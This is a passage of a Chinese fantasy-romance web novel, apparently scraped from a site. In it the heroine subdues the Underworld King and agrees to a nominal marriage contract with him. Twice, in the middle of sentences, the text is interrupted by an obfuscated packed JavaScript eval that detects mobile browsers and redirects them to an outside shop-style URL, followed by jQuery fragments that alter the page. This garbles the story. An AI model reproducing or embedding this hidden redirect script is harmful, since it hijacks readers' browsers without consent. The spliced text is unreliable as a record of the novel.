弹弓的分叉重重怼在谢清鸣的后脖颈上,将他的脖子叉在了圆弧里。他显然没有料到迟复樱如此小人,不禁愕然地回过头来,露出半张惊奇的脸。接着是砰的一声,谢清鸣单膝跪倒在地,任由迟复樱在他后背上贴了个定身的纸条。
迟复樱重重地喘出一口气,双脚一软,先坐在地上休息了片刻。她不能彻底和这个冥王决裂,否则还怎么坐他的马车?可是两人已经斗了个天翻地覆,哪里还有转圜的余地?
她挪腾着跪坐到谢清鸣身边,放缓了语气说道:“谢……冥王大人,我不是要故意定住你的。”
谢清鸣转着漆黑的眼珠,愤怒地瞟了过来,那意思好像在说这番打斗还能是失手不成?
迎着寒凉的目光,迟复樱微微低下头,向上抬着眼睛看人,满脸怯懦可怜之意:“我怕你打我,所以斗胆把你定住,才敢跟你说话呀。”
谢清鸣阖上眼睛,不再看她。迟复樱伸出一根手指,轻轻在他嘴唇上点了两下:“我把你的嘴解开啦,你想说什么尽管说。”
手指像风拂杨柳一样拂过两片唇瓣,她觉得手下的人轻轻战栗了一下。谢清鸣直勾勾地盯着她,良久才问道:“你为什么会来和亲?”
“原来五木仙人没告诉你?”迟复樱故作惊讶地说,“君主那边的人夜观天象,算了又算,最后认定要把一个女子送过来和亲,才能平息战争。不巧,那个女子就是我。”
谢清鸣轻声说:“你现在对我没有一句实话,好像换了个人。”
寝殿陷入了沉默。迟复樱低头答了一句:“我也觉得你很陌生。我在屋顶上看到了,你和君主的官员有往来,还要分取民众的气运。为什么你又忽然谋反了?惊蛰,还有那些火,都是你派人去做的吗?”
“那么,你到底是谁?”谢清鸣反问道,“为什么认定是我挑起的战乱?”
迟复樱想起五木仙人说她已经被封为王侯贵女,就说:“我是以……类似藩王的身份来和亲的。除此之外,一概不知。你如果和君主闹掰了,或许我可以替你做点事……”
“藩王?”谢清鸣忽然笑了一声,玩味地看着她,“你说你是藩王,却不认识樊字号?迟复樱,你是不是借着君主这块跳板跳到我身边,还觉得最危险的身份,就是最安全的身份?”
樊字号,又是樊字号。当初决裂时,谢清鸣就对樊字号耿耿于怀。这个听起来像某种百年老店的品牌,为什么应当为她所熟知?难道这里的藩王都只去这家铺子购物?
迟复樱暗自记住这码事,如果再见到金风她们,一定要问问这铺子是何方妖孽。她如实说道:“我不知道樊字号。冥王大人,我不是真的贵族,也深知自己没有那个命格来当冥王妃,所以我并不是来跟冥王成亲的。”
一听这话,谢清鸣的脸色有所松动。迟复樱继续说道:“我来这里,是想跟你谈谈。我可以替你的商队出主意,设计几条没人打搅的路线,还能帮你想办法反攻那些劫匪。你知道的,我虽然记不住以前的许多事,可是认路的本领很强,对地图过目不忘。不过,如果你和君主从来都没闹掰,压根就没有人抢劫你的商队……”说着站起身来,试图将破碎的红衣合拢起来。她说:“……那我也只能……”
忽然间,她感觉眼前冒出一座小山般的黑影。定身咒失效了,谢清鸣矗立在她面前,一步步逼近过来。
刚要后退,她的腰就被他掐住了。她两手奋力推着他的胸脯,却像棉花戳到钢铁上一样毫无波澜。谢清鸣几步就把她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468794|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顶到了墙上。即使垫着他温热的手掌,迟复樱还是感到后背靠上了冰冷的金壁。
他一手仍然深深陷在她的腰间,另一只手探向她的脖子。修长的手指覆盖了她的下颌和颈侧,她不知道他是要抚摸她,还是掐死她。迟复樱第一次注意到他的爪子是如此的巨大坚硬,能轻而易举地捏碎她的下颌骨。
一阵凉意沿着脊梁骨蹿了上来,仿佛一盆冰水浇在她的头上,让她如梦初醒。
谢清鸣的目光在她身上流连,顺着她的嘴唇往下,直到触碰到锁骨,又迅速收了回来。他淡淡地问:“说下去,如果压根没有人抢我的商队,你就只能怎么样?”
迟复樱忽然想起金风和韩无刃送别她的眼神。此时她方才顿悟,那两人带着送葬般的表情凝视着她,是因为她们以为迟复樱为了回家,真的要跟冥王成为夫妻!眼下,谢清鸣的眼神有种异曲同工之妙,大概是把她整理衣物的举动理解为宽衣解带、投怀送抱。
她清了清嗓子,尽量克制着恐惧,回答道:“我就只能替您做点别的事。我能酿酒,不知您有没有什么买卖需要用酒做材料?我还知道不少无人小路,就算没人动您的商队,您也可以选这些路,能快不少……”
她的声音戛然而止。谢清鸣俯下身来,鼻尖差点擦上她的脸。他的脸颊上有一层奇异的潮红,红色蔓延到两个耳朵,就变成了大红,简直和她的嫁衣交相辉映。
他在她耳边说:“没有人熟悉我的宫殿,也没人知道我的真容。就连房顶上那个官儿,也只当我是个纸人。现在你全知道了。如果你跑了,我的秘密岂不是泄露了?”
“不会不会,”迟复樱连声否认,“我这个人,嘴严得很。”
“你借着和亲来暗杀我?”他叹息般地问道,“为什么总想刺杀我?你第一次闯进来,不光砸了我的宫殿,还差点砸死我。”
那堆人肉垫子的触感,立刻从脑海深处浮现出来。迟复樱突然意识到,此时此刻,谢清鸣的身体压制着她,就和那堆垫子的触感十分相似。
谢清鸣又问:“你怎么能用我教你的弹弓来打我?”
“绝无此事!”迟复樱都要冒汗了,“我怎么会暗杀你?我一直仰慕冥王,想和冥王共事!对了,我的梦想就是坐一次你的马车,去外地见见世面。实不相瞒,我去三界之外有事要办。如果你被暗杀了,我找谁坐马车去?”
回想初识的那天晚上,两人同骑一匹白马飞上夜空,仿佛已经是上辈子的事了。迟复樱一时恍惚起来,再看谢清鸣那失焦的眼神,似乎也在感慨今时不同往日。
他轻轻松开了迟复樱,但双手还虚虚地抓着她的外袍。迟复樱说:“我想先换上自己的衣服。”
谢清鸣抱起手臂,踱到了墙角。迟复樱找到了自己那个小包,在重重白纱的掩护下迅速穿上衣裙。再随手召起地上的碎冰,抟了个镜子,一手变出一簇火苗,借着火光看向镜子里。
这一照,迟复樱自己也愣住了。万红楼的两个喜娘不声不响地给她梳了个精巧绝伦的发髻,还在她头上插了凤凰展翅的金钗、镂刻点翠的珠花。那张秀气的容长脸蛋,则被精细地修饰和勾勒过,蛾眉弯弯,丹唇含露,仿若天宫仙人。
她几下就卸去了满头的装饰,这才走回到谢清鸣身后。
谢清鸣转过身来,高马尾富有弹性地甩了一下。他向下瞄着迟复樱,突然勾起了一侧嘴角:“其实,冥王需要一位夫人,才能解开封印,焕发出至高无上的法力。”
迟复樱警惕地后退了一步。他似笑非笑地说:“别怕,只是名义上的夫人。有了法力,我才能找到更多灵泉,你也能有机会坐一坐马车,不是么?”
迟复樱不动声色地问:“你想让我做你名义上的夫人?”
25. 结契约
谢清鸣一挥手,寝殿里凭空多出来一套桌椅。他风度翩翩地一抬手,仿佛在请君入座。而后一扬下摆,自己先坐了下来。
迟复樱搬着椅子往远挪了几步,也坐下了。谢清鸣拿起桌上的壶,悠闲地倒出两杯茶水,拿起其中一杯,在指间转动着:“夫人,我们是不是该喝杯交杯酒,意思一下?”
“不了,不了。”迟复樱解下腰间那枚小茶壶,一抛一接,茶壶就变成了正常大小。她掀开壶盖喝了两口,说:“我自己带了,还热着呢。”
“随你。”谢清鸣放下茶杯,冷冷地别过头去,不再看她。迟复樱便主动推进流程,再三确认道:“冥王大人,你身上有个封印,需要找个名义上的夫人才能解除?这是什么原理?”
“冥王就是要把夫人留在身旁,才能在这位置上坐得长久。”谢清鸣慢条斯理地说,“就像太阳为什么东升西落,鸟为什么能飞在天上。”
这个妖鬼横行的世界,早就不是那个烂尾的电子游戏了。迟复樱没再多问,因为她根本不知道冥王这套“娶媳妇才能破除封印”的说辞是真是假。
但无论如何,今晚的打斗中,两人谁也没有真想杀死谁。此刻坐在茶桌旁、看着大开的门户外白雪纷纷飘落,竟像爷爷带孙女一般其乐融融。她可不想打破这种诡异而微妙的平衡,如果双方真的对彼此痛下杀手,她肯定占不到一点便宜。
想到这里,迟复樱以手抚鬓,笑盈盈地看向谢清鸣,眼含秋水,欲说还休。谢清鸣打了个哆嗦:“不要那样笑。要说什么,赶紧说。”
脸上的笑容倏地一下收起来了。她把手里的壶往桌上一墩,开门见山地说:“既然要谈合作,我们就各自重新介绍一遍自己,冥王大人意下如何?”
谢清鸣说:“可以。”
见他没有先开口的意思,迟复樱说:“那么我先来。我就是酒肆里一个小小的掌柜,曾经在房梁上沉睡了很多年,醒来以后忘了不少事情。当初闯进这座宫殿,是因为我想来这里谋一份差事。可惜因为一点误会,不小心砸了你……”
谢清鸣不悦地看着她,她继续说道:“我已经说过,我想去三界之外。人鬼神佛的纷争倾轧,实在不在我关心的范围内。况且我求你借马车还来不及,怎么会想着暗杀你?杀了你,马车也不听我的呀。”
“去三界之外干什么?”谢清鸣用拳头抵着下巴,对着她左看右看,“我的马车的确能去很多地方。只是如果你不说清楚的话,我怎么敢给你坐?”
迟复樱挺着脖子说:“我在三界之外,本来就有些势力。”
谢清鸣识趣地接道:“哦,所以你看不上凡界和冥界。”
“正是。”迟复樱抚掌一笑,“佛界不是还空着吗?如果你想,我也可以帮你开拓佛界。到时候你想修几座行宫,就修几座行宫,天地灵气也全归你一人享用,还用得着去借苍生的运吗?总之,这些好处都归你,我只要坐一次马车,不要别的。”
谢清鸣哼哼一笑,一根长长的手指点着自己的鬓角,半响才说道:“你有那么大本事吗?”
“当然。”
哈,哈,哈。这声音像银铃撞击冰块一样,是谢清鸣笑了三下。笑过之后,他忽然话锋一转,说起了自己:“我呢,的确需要时不时对付君主那边的人。既然你都知道,我也没必要隐瞒。他一边给我的商队和店铺使绊子,一边又派心腹大官来跟我谈合作,我们的关系颇为复杂。”
说着,他用意味不明的眼神看向迟复樱:“现在不是还把你送来跟我和亲?”
迟复樱一本正经地说:“你说的这些,我都知道了,这不算是重新自我介绍。”
谢清鸣拖长语调说:“好,那我就说点你不知道的。”
迟复樱说:“请吧。”
谢清鸣说:“其一,我没有满足过君主的要求。其二,惊蛰和战乱都不是我干的。这两件事,信不信随你。”说完往起一站,去门口吹着口哨看雪了。
有五木仙人的文字游戏在先,这次迟复樱留了个心眼。她注意到谢清鸣只说他没给君主好处,却丝毫不提两人是否达成过某种连结。他似乎在刻意维持神秘的灰色地带,好让人看不清他和君主是敌是友。
无论他说得是真是假,迟复樱认为这两人起码现在已经闹掰了,否则也不会有和亲这出大戏。
她起身走到谢清鸣旁边,干脆地说:“好,那我们就算结盟了。”
他的嘴角慢慢挑了起来:“你挑夫君的时候,还要考量他是不是跟君主有关联?”
“那是当然,比如我吧,你别看我现在落魄了,”迟复樱理所当然地说道,“可我就算再落魄,也绝不会替你做缺德的事。”
他哼了一声:“你来我宫里偷东西不算缺德?”
“我小的时候,有个亲戚为人善良热情,可惜后来他破了大财,又借了一堆债。他走投无路了,实在还不上那些债,就骗了我们家一大笔钱,从此销声匿迹。”迟复樱没有被他的思路拐跑,执着地讲了下去,“所以我父母那时就对我说,一个人在最困难的时候还能保持人品正直,那才叫真的正直。富贵的时候对人善良,那都不算……”
这头迟复樱讲得绘声绘色,那边谢清鸣只是含笑看着她。她摇头叹气一番之后,才突然想起来:“我怎么就挑夫君了?这不是名义上的伪装吗?”
谢清鸣反问道:“你怎么想起你父母了?你不是什么都记不住吗?”
一语惊醒梦中人,迟复樱啊了一声,一时瞪大了双眼。她急忙去追赶那一晃而过的记忆,拼命想要看清父母的脸。
父母对她说那些话时的神态和语气,都还历历在目,仿如昨日,身形举止也都像皮影一样活了。有一瞬间,她好像都看见了她们的面容,可惜后来那两张脸还是被灰色的雾气迅速遮蔽了。
接着,回忆中的画面像纸一样被风吹走,又像水一样迅速流逝,连灰色的身影也不见了。迟复樱知道自己还是想不起来有关父母的事,慢慢蹲坐在门槛上。
直到听见谢清鸣问:“你怎么了?”她才发觉自己脸上泪水纵横,眼前都是花的。
谢清鸣也坐到门槛上,伸手在她脸上擦了两把。等他把手拿开,迟复樱清楚地看见他手心里黑黑红红,花哨得都能和泥了。她猛然想起脸上画了眉毛,敷了胭脂,涂了嘴唇。
现在颜色都擦到了他手上,她的妆容被擦成一团。那她的脸现在还能看吗?可他就在盯着她看!
迟复樱顿时恼羞成怒,扯过他的袖子就往脸上擦。谢清鸣啧了一声,收回胳膊,随意掸了掸,衣服又是纤尘不染了。
他伸过来一只手掌,好像要跟队友击掌。迟复樱憋着劲看着他,一言不发。他说:“订立契约。”
迟复樱犹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475242|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
豫了一下,还是把自己手掌摁了上去。
谢清鸣这么积极地张罗假结婚一事,当然是为了把她控制住。他大概到现在还认为迟复樱受人指使、一直以来最大的愿望是暗杀他。别看两人现在插科打诨、促膝长谈,好得跟亲兄妹似的,要是不跟他结这个盟,也许他会当场翻脸冻死迟复樱。
手掌贴着手掌,炽热的体温一直传到了迟复樱的手臂。谢清鸣说:“订立契约之后,你就是我名义上的夫人,不能随意毁约,不能投靠别人。”
迟复樱答应道:“好的,一定。”说着就要把手收回来。
较大的那只手抓住了较小的这只,又强行撬开她每根手指之间的空隙,把自己的指头塞了进来。转眼间,两人十指相扣。蓝色的光芒从交握的指缝里溢了出来,照亮了彼此的脸。
契约订立了。
谢清鸣拉起她,一手点了点门框,寝殿的门窗一扇接一扇地关了起来。迟复樱也觉得这个长夜令人疲惫不堪,就说:“不早了,先就寝吧。”说着捡起地上的红嫁衣,仔仔细细地掏了一遍,掏出一个干硬的七彩馒头,小心地装进荷包里。
抬头一看,谢清鸣默默注视着她的一举一动,神色稍显复杂。迟复樱解释道:“不是给你吃的。”
“那真是谢天谢地。”谢清鸣抱起膀子,在她身后慢慢说道,“在你睡着之前,我还要提醒你一件事。”
迟复樱转头看着他,装若洗耳恭听。他说:“和我结了契约,成了我名义上的夫人,就代表你不能随便离开我的视线。不许去别的地方,不许跟我不认识的人窃窃私语,不许帮别人算计我……”
迟复樱吭哧点头,连连答应。他每说一句,她心里就冷笑一声。不出所料,谢清鸣想用假结婚的办法把她固定在身边,免得她去通敌。她到底可以跟谁通敌?是樊字号吗?
在说出若干条件限定后,谢清鸣终于和缓地说:“不早了,先就寝吧。”迟复樱心里暗骂,这不是我早就说过的吗?
满天的垂纱像水蛇一样蜿蜒摆动起来,一条接一条地让到一边,好像有一只手将两片幕布拨向两侧。寝殿最深处,一片从没见过的角落展露出来。那是一张怪模怪样的大床,床头靠墙,四脚雕花,周围却没有挂帘子,和这个时代的拔步床全然不同。
大床两侧铺着兽皮地毯,又设有低矮的木案和窄榻,一张古琴靠墙而立。迟复樱腾腾腾地走到床边,上上下下地打量着充满异域风情的一方天地,随口问道:“我们怎么睡?”
转头一看,谢清鸣面色沉沉,喜怒无常。他随手一勾,一条倒吊的白纱滑行过来,恰好停在大床中轴线上,将床铺虚分为两半。然后他看也不看迟复樱,自己往床上一倒,两条长腿耷拉到地上。
迟复樱识相地躺到另一边,一道薄薄的轻纱隔开了二人的视线。听着风卷枯树的呼啸声,正觉得身上发冷,忽然又觉得身上一沉。
一张不知从哪里变出来的锦被落在她的身上。迟复樱缩进被子里,蜷缩成一个小团。在陷入昏睡之前,她还在琢磨那个神秘的樊字号。北偏西有笑面虎,东偏南是蜜里刀。坐镇于王都西北部的君主,现在已经跟冥王闹得火星四射。遥远的东南方,神秘的凡界,会不会就是樊字号的地盘?
冥王谢清鸣一直怀疑她是樊字号派来杀手,能让他如此忌惮的,出了西北的君主,只剩下东南的凡间。